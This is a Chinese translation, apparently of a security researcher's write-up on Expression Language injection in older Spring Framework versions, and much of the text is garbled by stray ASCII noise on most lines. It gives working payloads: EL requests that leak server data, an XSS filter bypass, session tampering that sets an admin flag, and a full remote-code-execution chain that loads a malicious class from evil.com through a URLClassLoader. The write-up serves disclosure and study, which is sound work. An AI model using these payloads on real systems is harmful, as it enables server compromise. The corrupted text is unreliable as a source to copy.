Remote Code with" Y) G6 V# |1 X- f# K7 w$ K
Expression Language Injection& `' P' U& V( Y6 x3 [4 ?8 B
Spring Framework脆弱性—DanAmodio2 ?+ A/ @# p, d& }6 j5 g
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中6 f* P# S& ?' y2 C l8 A% Y
可能会存在风险。' W# @4 I, p: G" c; u% p
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的# L* v \! o4 O' m
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可* V/ E& t; ^+ j6 V4 p9 ]8 E
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,0 P7 }% r7 J, g
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
% M0 q T$ s1 Q6 m- S4 @3 O版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
6 p! O( U( F. V8 r由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
5 |5 n! V1 b7 \8 t我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版: i2 G* y( ?4 A3 h4 @
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
# E, d; m5 T0 N. A9 @0 B这些版本不支持禁用double EL resolution.
! @) K# d9 m4 Z6 ^6 k$ P# D9 B7 K这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含9 K, W$ Z8 V/ J. |" L( h
EL2.2容器上可能进行远程代码执行。' V6 L. f1 z; U# ]* f7 y; X4 h
这是一个原始信息泄露的攻击例子:
G$ J+ l4 I6 s5 V请求:5 C6 H& \+ u5 ` Q- a) h# o) [/ s2 n
ttp://vulnerable.com/foo?message=${applicationScope}
' B3 a3 b/ ?9 c. N到达以下内容页面:
) ^" m- o& i6 o3 B+ X- A) _结果将输出一些包含内部服务器信息calsspath 和本地工作目录
; S$ F. n- Z1 J! D6 ]你也可以做一些其他事情,如这样:
# k! ~# @5 T Y' L* ?0 ~${9999+1}
+ g/ J9 ]- G/ d. }5 ?' q还可以访问session 对象和beans
5 P& Y1 O! w$ l3 ?* y. T6 V3 Q& \4 E+ b${employee.lastName}
. u+ j/ A% ?3 N f' ]: l在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是 z6 q5 Z! h2 g1 P* M+ |9 y" r# y: z
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东7 T6 ^3 `4 \: o5 M8 a/ T
西,比如XSS.. r) D) |: I6 d) M$ a7 }
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签, L3 v" X: a0 r8 Y
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
0 Q0 t4 F- q/ r* R呢?”: c+ e5 P9 C d2 f2 i
因此,我尝试巳缦拢�
$ N3 D0 L# N- c+ `. f) h+ ~http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP: T: ]# _& M- }3 R
P
/ {7 Z" \" q" a2 W# ~: b( ~我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
* j) x) S2 j4 C. w$ u4 v回的文本被插入进了spring:message 标签。
0 n2 d1 W" j7 K" K0 {% _' M5 y) a这里是一个最终绕过过滤的实例:2 u4 q( S+ l g6 y9 [
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
) r) P8 O6 N6 w4 B& r& @; F它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为* J F1 X4 G0 p5 S q
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?) s2 E7 Q* ]/ x
经过一番研究,我学习到EL2.2 增加了方法调用。0 C- l; w" R- L
我写了一个快速测试应用程序代码并且检测一些功能
; L" ^9 p* p" h2 s${pageContext.request.getSession().setAttribute(“account”,”123456″)}
+ Z0 ?7 d; S% ~8 x) t7 U${pageContext.request.getSession().setAttribute(“admin”,true)}! ?7 g+ s- c( M0 G W6 S Z8 u
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
+ g! d6 V9 `+ C1 l* }指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?, r! |0 z# h/ A: F2 f* R0 D l, g
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.12 \0 x- q6 U- S
“, 1234)}2 ^7 ?8 n! K6 l8 e
${“”.getClass().forName(“java.lang.Runtime”)}
2 s2 ^, w" o# y% y: s哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
T" O+ t9 e; _) c8 c" j可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
2 m4 V' U! G. d' C+ x数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
" W% I$ ~5 J7 }. k一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
4 |- X6 T E+ u* p7 k! ^* ~方法签名invoke(Object obj, Object„ args)
# A/ S# n" g' n' |4 OJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
5 W5 d6 K+ ^8 Y! c( C3 H- }题,以让它可以工作起来。0 ^, H7 }8 _( e0 u1 g. f
漏洞利用:
# |0 ?7 h$ S9 _ U: g3 R( R我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
# v2 m( w- W7 k: b! C4 x希望你们中的一些JAVA奇才告诉我我是如此的可笑。
8 ]0 |1 \5 D) e! O& K这里有一些我试过的失败的用例,为了试图让它工作的用例:
! x$ j2 q9 k6 K, Y& q1 N. R; H 写文件到文件系统
/ M7 C' K( w4 \2 t) ~" H( N 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.* Z/ m4 r& F& u5 p5 {: _% r
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
) Z" v5 N3 g& F& t5 P, h# y- h${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}5 f6 n8 A8 x2 X, R$ ^1 v- W
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
8 f# s1 _: ? Z) I9 xorg.springframework.expression.spel.standard.SpelExpressionParser not found+ M, `' Y/ }8 @7 _
by
7 L2 v& }. m- i: c, L6 ?org.glassfish.web.javax.servlet.jsp [194].7 D; m o5 U8 E2 x8 e! _! ^
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
: J0 g3 Z( [1 a2 I! l( B& t 利用反射来创建一个新的Runtime(and watch the world burn)
5 R/ J! _! Y9 Z* Y/ @, k6 l) t${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName( Z! n3 t% N5 @- p' l
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
+ r+ R* e' \2 r# M+ S- p${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}* u" C: m7 D( U/ [
使用java.lang.ProcessBuilder7 G7 S/ T% R& _% n6 d
用表达式语言来评估表达式语言, `6 n* _8 {, r. h' k! |6 [9 o2 Y# l
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.# n% U, M5 F3 w, n5 b$ ~2 U
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request I( X4 A& A1 H9 x V
“,”".getClass(),null)}
( J: c U9 A2 Z 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
8 ?2 z0 X7 x; W0 e我在使用一个空数组通过Method.invoke()时失败了很多次. a9 A f$ o- T; J- O% G$ f
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo! |3 `& p' @2 ]' N$ @
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
5 t1 ?& _ U9 H$ orrayList”).newInstance().toArray())
$ ]6 V- N* o% l" h" e' d; ]java.lang.IllegalArgumentException: wrong number of arguments
8 @0 f4 i; g: @* p; |+ U @8 h8 G2 a最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
2 p% k4 d" H' b7 L$ N; K3 v以创建一个恶意class文件并且指向类装载器.1 }- ]; R" l* ]. R. W' j1 M
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
# m4 x& E5 o3 Y f o" tpublic class Malicious {/ S2 K, L6 c, P- P( c( K% u. w
public Malicious() {
; c* B6 F- w& J& d' O* Gtry {7 q: J. Q0 e! |5 ~8 `
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac' t- U! \. M4 i4 y1 l
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
: I1 t2 f3 v) Q Y r} catch (Exception e) {
% u) r& D: } m- e( Y2 l0 ~}6 o% K) D: M; y6 |! e" N2 ~$ ]
}! o- v3 [/ {; b2 }* h9 f j
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
: A& D' ~8 |! R7 C; A" F话中,因此它可以被使用.1 }' ~8 g% t, Z& h6 Z! ^% E- Y6 ^6 u
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
9 a4 X# |, B) F0 i(“java.util.ArrayList”).newInstance())}( T) `( Z8 j/ o2 ^+ V
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
6 U; v+ A- [: ]一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
- p2 p6 t2 |- s' kgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
3 g5 B% |7 p% E' P, k我们可以调用的create(string)方法,然后转换对一个URL对象。+ e6 a( t" Y; ?% N
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
M/ s5 @- P' K d9 ^ere/malicious/classfile/is/located/”).toURL())}
* C# `7 f. E) y" V( o k8 M然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
7 b, r3 Q* T j恶意类文件被装载并创建,触发远程代码.5 U8 b8 A8 Z& W! R
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
5 v3 i0 z9 z) vxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
2 F1 H; _; ^3 ]0 @ a$ u8 \getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
' }5 w, \) w# n2 e( h$ l()} |